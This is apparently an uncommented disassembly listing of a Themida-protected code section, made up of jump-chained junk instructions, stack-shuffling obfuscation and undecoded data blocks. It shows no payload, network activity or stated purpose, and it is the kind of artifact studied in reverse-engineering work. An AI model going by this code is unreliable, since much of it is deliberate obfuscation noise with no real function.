		dd 1000000h, 5A042454h,	89535059h, 4C381E3h, 83000000h
		dd 1C8704EBh, 24895C24h, 24048124h, 4, 8124048Bh, 4C4h
		dd 0FDB95100h, 0E9742526h, 0FFFF481Dh, 8B24048Fh, 52572424h
		dd 9D2DD968h, 0E2815A07h, 2C567DD2h, 44DCE281h,	0EA811FFAh
		dd 6FF9782Eh, 8CA0EA81h, 0D7899416h, 5FFE015Ah,	31243433h
		dd 34332434h, 24248B24h, 0E9028864h, 0FFFFA772h
; ---------------------------------------------------------------------------


loc_56AE20:				; CODE XREF: Themida_:0056001Bj
		pop	esp
		mov	[esp], eax
		push	0CFh
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		not	eax
		push	29A4h
		mov	[esp], eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_56D8E9
; ---------------------------------------------------------------------------
byte_56AE71	db 53h,	0E9h, 28h	; DATA XREF: Themida_:0055C04Co
		dd 4DFFFFC3h, 3599F581h, 0EC83011Ch, 242C8904h,	5D2414F7h
		dd 0FF3399E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56AE8D:				; CODE XREF: Themida_:00560AB6j
		sub	esi, 49F30666h
		pop	ecx
		inc	esi
		push	eax
		push	edi
		push	3EBE01BAh
		jmp	loc_56BE2C
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FFA13CE9h, 4AEB81FFh, 15B3F5Fh, 4AC381F3h, 0FF5B3F5Fh
		dd 82E92434h, 2CFFFF59h, 2434FFA4h, 4C4835Ah, 81E18951h
		dd 4C1h, 4E98100h, 33000000h, 0C31240Ch, 240C3324h, 240C895Ch
		dd 8FE95052h
		db 95h,	2 dup(0FFh)
byte_56AEEB	db 66h			; DATA XREF: Themida_:0055C15Co
		dd 0E9240C8Bh, 5B93h, 0D128C4B2h, 8124148Bh, 4C4h, 4C90400h
		dd 2CC828D5h, 59C92CD5h, 0D0281C04h, 805BB652h,	0E68069F6h
		dd 0E9C6FE91h, 0FFFF9066h, 4C481h, 34FF0000h
		db 24h,	5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_56BC19
; ---------------------------------------------------------------------------


loc_56AF40:				; CODE XREF: Themida_:0055C608j
		mov	esi, 8470D7Fh
		xor	esi, ecx
		jmp	loc_55C848
; ---------------------------------------------------------------------------
		dd 88F78853h, 0FE5A5BFCh, 63F480C4h, 5BFC30h, 7FFCE9E3h
		dd 0FF50FFFFh, 0FF042474h, 83582434h, 48F04C4h,	24248B24h
		dd 0E99CC885h, 5BBh, 0EC835258h, 8AA8E904h, 148BFFFFh
		dd 0EC815624h, 4, 81242489h, 42404h, 24E90000h,	0B3FFFF9Ch
		dd 0EFCB80B3h, 0FFC4CCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56AFA9:				; CODE XREF: Themida_:005692E1j
		sub	ebp, ebx
		jmp	loc_56EB85
; ---------------------------------------------------------------------------
		dd 504E0C1h, 0AF6B767Fh, 158C631h, 3419E9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56AFC2:				; CODE XREF: Themida_:0056AD38j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_56D73E
; ---------------------------------------------------------------------------
		dw 0F231h
		dd 0C1EAD15Eh, 0C28108E2h, 84268566h, 148BD329h, 4C48124h
		dd 1000000h, 66C381FBh,	8B68CE6Fh, 0C483243Ch, 15E4E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56AFFE:				; CODE XREF: Themida_:0055EEBCj
		xor	edx, edi
		xchg	ebx, edi
		not	ebx
		xchg	ebx, edi
		xchg	edi, edx
		inc	edx
		or	edx, 7EA3073Fh
		add	edx, 15C6069h
		push	eax
		mov	eax, edx
		jmp	loc_563DDB
; ---------------------------------------------------------------------------
		db 5Eh,	51h, 0B9h
		dd 650344AEh, 4D8EC981h, 0F1810413h, 62D04FB2h,	5659CA29h
		dd 73311BBEh, 5EF22902h, 0B0E9FA01h
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B043:				; CODE XREF: Themida_:005636A1j
		mov	edx, 0F5F3C475h
		sub	eax, edx
		jmp	loc_5687F1
; ---------------------------------------------------------------------------
		db 68h
		dd 3A72h, 0E9243489h, 0FFFF3BCAh, 5940C205h, 0C293E939h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B066:				; CODE XREF: Themida_:0056DED4j
		sub	esp, 4
		jmp	loc_564CD0
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 0FFED51E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B079:				; CODE XREF: Themida_:005677A1j
		add	[esp], eax
		pushf
		jmp	loc_55C323
; ---------------------------------------------------------------------------
		dw 24B3h
		dd 0E90AE380h, 0FFFF47A7h
; ---------------------------------------------------------------------------


loc_56B08C:				; CODE XREF: Themida_:00571395j
		push	30h
		pop	eax
		jmp	loc_55D0AC
; ---------------------------------------------------------------------------
		db 50h
		dd 1CE9E089h, 55FFFF3Ch, 6070AFBDh, 5DEE8956h, 38CDE9h
		db 0
; ---------------------------------------------------------------------------


loc_56B0AD:				; CODE XREF: Themida_:0056791Dj
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		jmp	loc_56216F
; ---------------------------------------------------------------------------
		dw 0F509h
		dd 1A7CE9h, 304EB200h, 0F5805AD5h, 59E82840h, 83515366h
		dd 148904ECh, 50536624h, 0F480A2B4h, 57D5E98Dh,	81450000h
		dd 844732CDh, 96C5817Dh, 816F8311h, 841018EDh, 3573E908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B0FA:				; CODE XREF: Themida_:00565350j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0F6140BD1h
		add	edi, 0BBB2301h
		jmp	loc_56C6C5
; ---------------------------------------------------------------------------
dword_56B110	dd 34E868h, 48F5400h, 0F4FEE924h, 815EFFFFh, 9A63EAC1h
					; DATA XREF: Themida_:0055C18Co
		dd 0ECE9817Dh, 16457EBh, 240C8BCBh, 4C481h, 33FF0000h
		dd 5913E9h, 0D0CA8100h,	0E9695214h, 3549h, 70CCBE56h, 0E6C114A6h
		dd 7DC68107h, 4E345811h, 4A3F68h, 241C8900h, 0FE0BD0BBh
		dd 5BDE3149h, 6368F681h, 0A7E96935h, 3100005Dh,	0E9565FF9h
		dd 10B2h, 0F3B2E95Ch, 0F747FFFFh, 6EFC1DFh, 46E7F781h
		dd 6D2D3D7Ah, 1556E33h,	336D05F8h, 2D5F556Eh, 5037636Eh
		dd 2404875Dh, 0FF9C22E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B1A9:				; CODE XREF: Themida_:0055F5DFj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_5653A6
; ---------------------------------------------------------------------------
		db 33h
		dd 0ABE9241Ch, 2CFFFF88h, 0E9D8281Bh, 0FFFFB233h
; ---------------------------------------------------------------------------


loc_56B1EC:				; CODE XREF: Themida_:0056159Bj
		add	edx, 5BA55B6Fh
		add	edx, 33362C89h
		add	edx, edi
		sub	edx, 33362C89h
		jmp	loc_563D41
; ---------------------------------------------------------------------------
		db 66h,	9, 0DAh
		dd 241C8B66h, 55E68956h, 0FFD175E9h, 32E958FFh,	55FFFFD1h
		dd 0FA7D83BDh, 0C1D5F72Dh, 7CE904EDh, 8B000022h, 0C3312424h
		dd 81E78957h, 4C7h, 4B95100h, 0E9000000h, 7EEh,	0CA4D882Dh
		dd 51D0F753h, 10DCE9h, 0E2895200h, 4C281h, 0C2810000h
		dd 4, 0FFAD44E9h, 81F201FFh, 440BA0EAh,	5EE95E06h, 8100004Dh
		dd 9C3AFCF5h, 0E9E9010Eh, 0FFFFE0D4h, 4C681h, 0EE830000h
		dd 12B9E904h, 0C5810000h, 4, 4C581h, 2C870000h,	68535C24h
		dd 3AD5h, 5B241489h, 0D592E95Ah, 0BF57FFFFh, 4,	875FF801h
		dd 335C2404h, 3C31243Ch, 243C3324h, 41BB685Ch, 2E90000h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B2CF:				; CODE XREF: Themida_:0056B84Aj
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ebx, 4
		jmp	loc_55D175
; ---------------------------------------------------------------------------
		dw 4ABEh
		dd 0F760896Ch, 9FF681D6h, 116181Dh, 0D5015EF2h,	0E924148Bh
		dd 0FFFF4742h
; ---------------------------------------------------------------------------


loc_56B308:				; CODE XREF: Themida_:0056A5FEj
		mov	[esp], eax
		push	4
		pop	eax
		add	esi, eax
		jmp	loc_5652A6
; ---------------------------------------------------------------------------
		dd 1061BE56h, 0E6C150DDh, 0F7D6F703h, 0B1C681DEh, 0E996FAC8h
		dd 0FFFF46FDh, 214EF735h, 58C22982h, 8B241487h,	20E92424h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B343:				; CODE XREF: Themida_:00563CA1j
		push	edi
		mov	edi, esp
		jmp	loc_56B9B4
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 517EC581h, 0D5017A91h, 517EED81h,	815A7A91h, 4EDh
		dd 9E44E900h, 8504FFFFh, 0FFF702E9h, 58C601FFh,	44AEEE81h
		dd 148B2C5Dh, 5D5AE924h, 0C4810000h, 4,	0C8E9F089h, 0FFFFCAh
		dd 0E95351EAh, 0FFFF7164h, 5052515Ch, 73B35366h, 0E9DD8851h
		dd 319Fh, 4CE9E958h, 0D368FFFFh, 8900006Ah, 67BE2434h
		dd 2936D36Bh, 0ADE95EF0h, 0B7FFFF7Dh, 8152665Bh, 4ECh
		dd 240C8900h, 0C580ABB5h, 59EE88D7h, 8B66F708h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		push	ax
		push	bx
		mov	bh, 0B9h
		mov	al, bh
		pop	bx
		or	bh, al
		pop	ax
		xor	bh, 0FDh
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 2
		xchg	eax, [esp]
		pop	esp
		mov	[esp], cx
		mov	ch, 7Dh
		xor	bh, ch
		mov	cx, [esp]
		push	edx
		jmp	loc_564A59
; ---------------------------------------------------------------------------
		dw 1489h
		dd 5C1BA24h, 0DAF77C6Eh, 4EFBF281h, 0E2816391h,	1E31681Ah
		dd 55ABE9h, 0E9D90100h,	0FFFFA0ADh
; ---------------------------------------------------------------------------


loc_56B444:				; CODE XREF: Themida_:0055D153j
		inc	ecx
		not	ecx
		xor	ecx, 0E648BCD7h
		and	ebx, ecx
		pop	ecx
		push	5F15h
		mov	[esp], edx
		mov	edx, 0DF9CDEBCh
		push	edx
		jmp	loc_566768
; ---------------------------------------------------------------------------


loc_56B463:				; CODE XREF: Themida_:0056BC77j
		mov	[esp], ebx
		mov	ebx, esp
		push	esi
		push	edi
		push	eax
		mov	eax, 590D0BD8h
		sub	eax, 7E942869h
		inc	eax
		jmp	loc_568953
; ---------------------------------------------------------------------------
		db 55h
		dd 0B66A11BDh, 4E33E959h, 0EF010000h, 5E7C15Dh,	99FEEF81h
		dd 0F0E930EFh, 500001Ah, 1E9F435Fh, 0FFE8E1E9h,	4C483FFh
		dd 7F4368h, 24048900h, 168h, 24048B00h,	2104C483h, 2434FFC1h
		dd 0FF2BC0E9h, 0E5DE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B4C6:				; CODE XREF: Themida_:00561F8Ej
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_55EC04
; ---------------------------------------------------------------------------
		db 53h,	55h, 0BDh
		dd 2CA2055Fh, 593DF581h, 19E95A8Eh
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B4E3:				; CODE XREF: Themida_:0055D0A7j
		mov	ebx, 4
		add	ebp, 2CB5618h
		add	ebp, ebx
		push	edx
		mov	edx, 2CB5618h
		sub	ebp, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_56A8BC
; ---------------------------------------------------------------------------
		db 31h
		dd 24348BF5h, 5504C483h, 0FF18EDE9h, 4EA81FFh, 87000000h
		dd 895C2414h, 8B54242Ch, 0E9242Ch, 81000000h, 4C4h, 37E95500h
		dd 0E9FFFFC0h, 0FFFF0DE7h
; ---------------------------------------------------------------------------


loc_56B53C:				; CODE XREF: Themida_:00564C6Fj
		mov	[esp], esi
		push	ebx
		mov	ebx, 6D653B0h
		jmp	loc_566CEF
; ---------------------------------------------------------------------------
		dw 0FE29h
		dd 0FFDCD7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B551:				; CODE XREF: Themida_:0055DF18j
		pop	dx
		jmp	loc_5627E9
; ---------------------------------------------------------------------------


loc_56B558:				; CODE XREF: Themida_:00563EA8j
		pop	esp
		jmp	loc_55C323
; ---------------------------------------------------------------------------
		dw 0C42Dh
		dd 0C15AD97Eh, 353505E0h, 0E91FFF30h, 0FFFFFA40h, 0F7D5F74Dh
		dd 90F581DDh, 138F05Dh,	0F5015DEEh, 81DD015Eh, 41559DEDh
		dd 4AD4E94Eh, 0C201FFFFh, 62B85058h, 0F75DF26Fh, 51D0F7D0h
		dd 0FF3E0DE9h, 148B66FFh, 6171E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B5AA:				; CODE XREF: Themida_:0057134Ej
		pop	ebp
		sub	eax, edi
		pop	edi
		pop	ecx
		jmp	loc_5639D4
; ---------------------------------------------------------------------------


loc_56B5B4:				; CODE XREF: Themida_:0056CFA2j
		dec	dl
		not	dl
		sub	dl, 1
		sub	bl, dl
		pop	edx
		neg	bl
		add	bl, 81h
		shl	bl, 6
		jmp	loc_562393
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8904ECh, 26BD5524h, 0E93A3216h, 0FFFF7A95h, 57B6F581h
		dd 0E901493Fh, 24148B5Dh, 0FFDFA2E9h, 2434FFFFh, 0E689565Bh
		dd 4C681h, 0B8500000h, 4, 0E958C601h, 3E4Bh
; ---------------------------------------------------------------------------


loc_56B608:				; CODE XREF: Themida_:0056BA2Dj
		mov	dh, cl
		pop	ecx
		push	ebx
		push	eax
		mov	al, dh
		mov	bl, al
		pop	eax
		push	edx
		mov	dh, bl
		mov	cl, dh
		pop	edx
		pop	ebx
		mov	edx, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_56BB16
; ---------------------------------------------------------------------------


loc_56B630:				; CODE XREF: Themida_:0056A99Bj
		pop	ecx
		jmp	loc_56DCDB
; ---------------------------------------------------------------------------
word_56B636	dw 6866h		; DATA XREF: Themida_:0055C104o
		dd 0EC8158AAh, 2, 6E7F6866h, 24248966h,	24048366h, 0B30CE902h
		dd 0CA81FFFFh, 3CD31E99h, 0BF57h, 0D7290000h, 815FFA87h
		dd 5C3FDDE2h, 92EA8141h, 0E96B9414h, 2CB6h
; ---------------------------------------------------------------------------


loc_56B674:				; CODE XREF: Themida_:0056BB2Dj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56F644
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 81000000h,	4C5h, 0CEEDE900h
		db 2 dup(0FFh)
word_56B692	dw 8B66h		; DATA XREF: Themida_:0055C1E4o
		dd 64682404h, 89000060h, 8B542434h, 0E9502434h,	1D14h
		dd 0C80CF181h, 0EEE91E16h, 89FFFFE3h, 76E95DEEh
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B6BB:				; CODE XREF: Themida_:0056CC2Fj
		pop	ebx
		push	ebp
		mov	ebp, 518E3B37h
		jmp	loc_569E36
; ---------------------------------------------------------------------------
		db 0B0h
		dd 58C200EAh, 285AD300h, 0D4EB80D3h, 8124148Bh,	4C4h, 0E9D80000h
		dd 0FFFFF1BFh, 0E9240C8Bh, 26D0h
; ---------------------------------------------------------------------------


loc_56B6EC:				; CODE XREF: Themida_:00564B86j
		push	ebx
		jmp	loc_56FD56
; ---------------------------------------------------------------------------
		dw 0FF5Bh
		dd 0E9582434h, 0FFFF770Ah, 13E93B04h, 83FFFFE1h, 42904C4h
		dd 0D140E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B70E:				; CODE XREF: Themida_:00563C48j
		sub	ecx, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_564BCF
; ---------------------------------------------------------------------------


loc_56B72A:				; CODE XREF: Themida_:00560F04j
		add	al, 3Fh
		not	al
		push	bx
		jmp	loc_56C271
; ---------------------------------------------------------------------------
byte_56B735	db 8Fh,	47h, 40h	; DATA XREF: Themida_:0055C118o
		dd 0FF0BE6E9h, 5AEA81FFh, 138444Bh, 0FD87E9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B74A:				; CODE XREF: Themida_:0055EA9Ej
		pop	edx
		sub	edi, 70623180h
		jmp	loc_55DDF8
; ---------------------------------------------------------------------------
word_56B756	dw 8B66h		; DATA XREF: Themida_:0055C25Co
		dd 5450240Ch, 40558h, 58680000h, 8900005Fh, 5BE92414h
		dd 8B00003Ah, 0C481240Ch, 4, 1ED7BD55h,	0EDD14D43h, 7D07ED81h
		dd 71E91D91h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B78B:				; CODE XREF: Themida_:0055F477j
		push	edi
		sub	dword ptr [esp], 524756ADh
		pop	eax
		add	eax, 524756ADh
		pop	edi
		add	esi, eax
		push	dword ptr [esp]
		jmp	loc_570B21
; ---------------------------------------------------------------------------
		dd 0FF0B7AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B7A9:				; CODE XREF: Themida_:00570B56j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebx
		push	4351h
		jmp	loc_56DF28
; ---------------------------------------------------------------------------


loc_56B7BA:				; CODE XREF: Themida_:0055FDCAj
		add	ebx, 8F02079h
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	2F6Ch
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	edi
		mov	edi, 38745ADAh
		shr	edi, 1
		shl	edi, 2
		dec	edi
		neg	edi
		push	eax
		mov	eax, 8F174A4Bh
		sub	edi, eax
		pop	eax
		push	ecx
		push	ebx
		mov	ebx, 2DC902CFh
		mov	ecx, 6BF15D1Eh
		jmp	loc_55C5F1
; ---------------------------------------------------------------------------


loc_56B80D:				; CODE XREF: Themida_:0056111Bj
		pop	esp


loc_56B80E:				; CODE XREF: Themida_:00563F23j
					; Themida_:0056EEE5j
		push	ebp
		push	esp
		pop	ebp
		push	ebx
		push	0F10h
		mov	[esp], edx
		jmp	loc_5622E9
; ---------------------------------------------------------------------------


loc_56B81F:				; CODE XREF: Themida_:00569FAAj
		xor	ecx, ebx
		pop	ebx
		inc	ecx
		jmp	loc_55EB33
; ---------------------------------------------------------------------------


loc_56B828:				; CODE XREF: Themida_:0055FCACj
		pop	edi
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edi, edx
		add	edi, 24A6735h
		jmp	loc_56BBA0
; ---------------------------------------------------------------------------


loc_56B841:				; CODE XREF: Themida_:0056776Cj
		pop	edi
		add	esp, 4
		push	ebx
		push	esp
		jmp	loc_56B2CF
; ---------------------------------------------------------------------------


loc_56B84F:				; CODE XREF: Themida_:005620F1j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_560EB5
; ---------------------------------------------------------------------------
byte_56B871	db 0ACh, 0E9h, 0B7h	; DATA XREF: Themida_:0055C23Co
		dd 31FFFF6Bh, 0D9315EF3h, 0FF37FEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B881:				; CODE XREF: Themida_:00564C17j
		not	eax
		xor	eax, 0EDB59C71h
		add	ebx, eax
		jmp	loc_567AC3
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F38102EBh, 0F6DF815h, 0E3E9DF89h, 66FFFF7Ah, 0E9241489h
		dd 0FFFF61C5h, 0EF87FD87h, 6803EFC1h, 2ACBh, 0BB241C89h
		dd 0FFFFFFFFh, 815BDF01h, 0B71312EFh, 8BF889A5h, 0C481243Ch
		dd 4, 2DE9C189h, 81FFFFE3h, 4C1h, 4C18100h, 87000000h
		dd 0E95C240Ch, 0FFFFD032h, 81E38953h, 4C3h, 4EB8100h, 53000000h
		dd 42474FFh, 0FFD85CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B905:				; CODE XREF: Themida_:005646E6j
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		push	2379h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	esi
		jmp	loc_564869
; ---------------------------------------------------------------------------


loc_56B94D:				; CODE XREF: Themida_:005691DAj
		add	ebp, 4
		push	ebp
		jmp	loc_564FAF
; ---------------------------------------------------------------------------
		db 0B7h, 0AEh, 0B6h
		dd 8BFE28EEh, 0C481241Ch, 4, 68665166h,	89667824h, 0B2522404h
		dd 0F7C28080h, 535AD488h, 0FD88E788h, 8058665Bh, 0EE0072EEh
		dd 6672C680h, 0E9240C8Bh, 0FFFFF3D1h, 4E8835Bh,	5C240487h
		dd 53242C89h, 0F5521E68h, 81535B2Fh, 4C0F2434h,	0E95D5C90h
		dd 0FFFF86B7h
; ---------------------------------------------------------------------------


loc_56B9B4:				; CODE XREF: Themida_:0056B346j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55FED4
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 0FF1EBFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B9D1:				; CODE XREF: Themida_:00565DCAj
		pop	edi
		add	edi, 132B5433h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		and	edi, 0FD6041h
		jmp	loc_566E50
; ---------------------------------------------------------------------------


loc_56B9ED:				; CODE XREF: Themida_:005695E6j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	eax
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_5620EB
; ---------------------------------------------------------------------------
byte_56BA03	db 66h			; DATA XREF: Themida_:0055C208o
		dd 52240C8Bh, 0FFEA85E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56BA0D:				; CODE XREF: Themida_:0056289Dj
		pop	ecx
		push	ecx
		mov	cl, 0A4h
		push	edx
		mov	dh, 5Ch
		inc	dh
		add	dh, 1Dh
		or	cl, dh
		pop	edx
		add	cl, 32h
		push	dx
		mov	dl, cl
		sub	dl, 0FFh
		push	eax
		mov	ah, dl
		push	edx
		push	ecx
		mov	cl, ah
		jmp	loc_56B608
; ---------------------------------------------------------------------------
		dw 0CF29h
		dd 0D02FE959h, 0E681FFFFh, 648254B0h, 7B00C681h, 0DEF77071h
		dd 0FF8582E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56BA4D:				; CODE XREF: Themida_:0056A15Cj
		sub	edi, 0A3F1C4Fh
		add	ebp, edi
		mov	edi, [esp]
		jmp	loc_55FA5F
; ---------------------------------------------------------------------------


loc_56BA5D:				; CODE XREF: Themida_:0056D242j
		shr	eax, 7
		jmp	loc_56FEDB
; ---------------------------------------------------------------------------
		db 1, 0D1h, 5Ah
		dd 71E9D929h
		db 18h,	2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 3D0C6D1Dh
		shr	edi, 5
		jmp	loc_561106
; ---------------------------------------------------------------------------
		dw 0C058h
		dd 29E902E6h, 68FFFF28h, 72BCh,	0FF6566E9h, 80DAF6FFh
		dd 74E9C7EAh, 81FFFFBDh, 4C1h, 6815E900h, 0C680FFFFh, 0BAC68060h
		dd 15B35351h, 0C0FFEB80h, 0C38004EBh, 2CE38038h, 880EC380h
		dd 0EE005BDDh, 0E645E959h, 0CE81FFFFh, 20362C2Ah, 0FFC7BDE9h
		dd 241489FFh, 6479FCBAh, 65685063h, 0FF64C321h,	0E9582434h
		dd 0
		dd 4C481h, 0D8F70000h, 0E8C1D8F7h, 5D0F703h, 88C19C88h
		dd 0FF3040E9h, 0CBE580FFh, 4338E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BB16:				; CODE XREF: Themida_:0056B62Bj
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		pop	eax
		mov	dx, [esp]
		add	esp, 2
		xor	cl, 8Ch
		add	bl, cl
		push	dword ptr [esp]
		jmp	loc_56B674
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4C6h, 4C68100h, 0E9000000h, 0FFFF2244h
; ---------------------------------------------------------------------------


loc_56BB44:				; CODE XREF: Themida_:0055FC43j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	edx
		push	edi
		mov	edi, 0A50425Ah
		mov	edx, 0A50425Eh
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5658EA
; ---------------------------------------------------------------------------
		db 0FFh
		dd 78E92434h, 0C1000017h, 6CE905E1h, 89FFFF42h,	9C502414h
		dd 4AABE9h, 4C48300h, 4EC81h, 34890000h, 4BE24h, 0F2010000h
		dd 0E924348Bh, 0FFFF9AD2h
; ---------------------------------------------------------------------------


loc_56BBA0:				; CODE XREF: Themida_:0056B83Cj
		mov	edx, [esp]
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		dw 74E9h
		dd 81FFFF07h, 6105B3E9h, 0DC95E924h, 61BBFFFFh,	89EF39CFh
		dd 0CE015BDEh, 0FF6655E9h, 0E9EE01FFh, 0FFFF215Eh
; ---------------------------------------------------------------------------


loc_56BBD0:				; CODE XREF: Themida_:00562C0Aj
		add	ecx, 76765DF0h
		pop	edi
		mov	[ecx], al
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55C323
; ---------------------------------------------------------------------------


loc_56BBE5:				; CODE XREF: Themida_:00569E15j
		xor	edi, 5C91598Fh
		and	edi, 275D354Ah
		xor	edi, 35D2044h
		sub	ecx, 0F5D205Bh
		add	ecx, edi
		add	ecx, 0F5D205Bh
		pop	edi
		jmp	loc_565CF9
; ---------------------------------------------------------------------------


loc_56BC0B:				; CODE XREF: Themida_:0056DE34j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_560B0E
; ---------------------------------------------------------------------------


loc_56BC19:				; CODE XREF: Themida_:0056AF3Bj
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 6EC65E4Ch
		add	ebp, 56E4396h
		push	7A63h
		mov	[esp], esi
		push	ecx
		mov	ecx, 4DD852FBh
		or	ecx, 4CF947DBh
		or	ecx, 5B4D52ADh
		not	ecx
		neg	ecx
		xor	ecx, 2B4020CCh
		mov	esi, ecx
		pop	ecx
		shr	esi, 4
		add	esi, 3B796C0Ch
		sub	ebp, esi
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		jmp	loc_56B463
; ---------------------------------------------------------------------------
		dd 0D889F389h, 0E0C15E5Bh, 924A9206h, 26B95153h, 89466568h
		dd 0CB8159CBh, 59631918h, 0EBC1D3F7h, 66CB8108h, 81102377h
		dd 0F7FBCCBh, 518AE935h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BCAE:				; CODE XREF: Themida_:0055EC17j
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56FC4A
; ---------------------------------------------------------------------------


loc_56BCD7:				; CODE XREF: Themida_:0055F54Cj
		neg	eax
		jmp	loc_56F624
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 1000000h, 0E8C7E9CDh, 34FFFFFFh, 0C4835B24h,	24348B04h
		dd 76B4E951h, 9E68FFFFh, 8900005Ah, 4B9240Ch, 0E9000000h
		dd 0FFFFB89Ch, 4ED81h, 2C870000h, 537EE924h, 81500000h
		dd 4ECh, 24148900h, 0FFD67FE9h,	81E789FFh, 4C7h, 4EF8100h
		dd 0E9000000h, 0FFFF074Ah, 1C8BD829h, 2E14E924h, 0C6BEFFFFh
